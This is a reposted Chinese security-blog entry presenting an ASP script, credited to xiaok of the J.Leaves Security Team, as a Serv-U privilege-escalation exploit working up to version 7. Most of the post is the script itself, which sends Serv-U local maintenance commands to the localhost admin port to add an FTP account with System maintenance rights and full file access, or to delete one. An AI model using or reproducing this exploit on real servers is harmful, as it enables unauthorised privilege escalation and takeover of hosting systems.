Serv-U提权通杀asp脚本(支持SU7)

文章作者：xiaok[J.L.S.T]
信息来源：安全叶子技术小组[J.Leaves Security Team]（http://00day.cn）

一直通杀到su7~~

用来加ftp帐号的……

Serv-U Local Add User with ASP

Author: Xiao.K

<%
user = request.Form(“duser”)
pass = request.Form(“dpwd”)
port = request.Form(“dport”)
domain = request.Form(“domain”)
fuser = request.Form(“fuser”)
fpass = request.Form(“fpass”)
fport = request.Form(“fport”)
fpath = request.Form(“fpath”)
privilege=request.Form(“privilege”)
select case privilege
case 2:
privilege=”ReadOnly”
case 3:
privilege=”Group”
case 4:
privilege=”Domain”
case 5:
privilege=”System”
end select
if request.Form(“radiobutton”) = “add” Then

loginuser = “User ” & user & vbCrLf
loginpass = “Pass ” & pass & vbCrLf
mt = “SITE MAINTENANCE” & vbCrLf
newdomain = “-SETDOMAIN” & vbCrLf & “-Domain=” & domain &”|0.0.0.0|” & fport & “|-1|1|0” & vbCrLf & “-DynDNSEnable=0″ & vbCrLf & ” DynIPName=” & vbCrLf
newuser = “-SETUSERSETUP” & vbCrLf & “-IP=0.0.0.0” & vbCrLf & “-PortNo=” & fport & vbCrLf & “-User=”& fuser & vbCrLf & “-Password=” & fpass & vbCrLf & _
“-HomeDir=” & fpath & vbCrLf & “-LoginMesFile=” & vbCrLf & “-Disable=0” & vbCrLf & “-RelPaths=1” & vbCrLf & _
“-NeedSecure=0” & vbCrLf & “-HideHidden=0” & vbCrLf & “-AlwaysAllowLogin=0” & vbCrLf & “-ChangePassword=0” & vbCrLf & _
“-QuotaEnable=0” & vbCrLf & “-MaxUsersLoginPerIP=-1” & vbCrLf & “-SpeedLimitUp=0” & vbCrLf & “-SpeedLimitDown=0” & vbCrLf & _
“-MaxNrUsers=-1” & vbCrLf & “-IdleTimeOut=600” & vbCrLf & “-SessionTimeOut=-1” & vbCrLf & “-Expire=0” & vbCrLf & “-RatioUp=1” & vbCrLf & _
“-RatioDown=1” & vbCrLf & “-RatiosCredit=0” & vbCrLf & “-QuotaCurrent=0” & vbCrLf & “-QuotaMaximum=0” & vbCrLf & _
“-Maintenance=” & privilege & vbCrLf & “-PasswordType=Regular” & vbCrLf & “-Ratios=None” & vbCrLf & ” Access=” & fpath &”|RWAMELCDP” & vbCrLf
quit = “QUIT” & vbCrLf
‘——–
‘On Error Resume Next
Set xPost = CreateObject(“Microsoft.XMLHTTP”)
xPost.Open “POST”, “http://127.0.0.1:”& port &”/secdst”,True, “”, “”
xPost.Send loginuser & loginpass & mt & newdomain & newuser & quit
Set xPost =nothing
response.write “

“
elseif request.Form(“radiobutton”) = “del” Then

loginuser = “User ” & user & vbCrLf
loginpass = “Pass ” & pass & vbCrLf
mt = “SITE MAINTENANCE” & vbCrLf
deluser = “-DELETEUSER” & vbcrlf & “-IP=0.0.0.0” & vbcrlf & “-PortNo=” & port & vbcrlf & ” User=”& fuser & vbcrlf
quit = “QUIT” & vbCrLf
Set xPost3 = CreateObject(“MSXML2.XMLHTTP”)
xPost3.Open “POST”, “http://127.0.0.1:”& port &”/secdst”, True
xPost3.Send loginuser & loginpass & mt & deluser & quit
Set xPOST3=nothing
response.write “

“
else
response.write “

“
end if

%>

相关日志普通用户通过udev漏洞提升到root权限

转载请注明：爱开源 » Serv-U提权通杀asp脚本(支持SU7)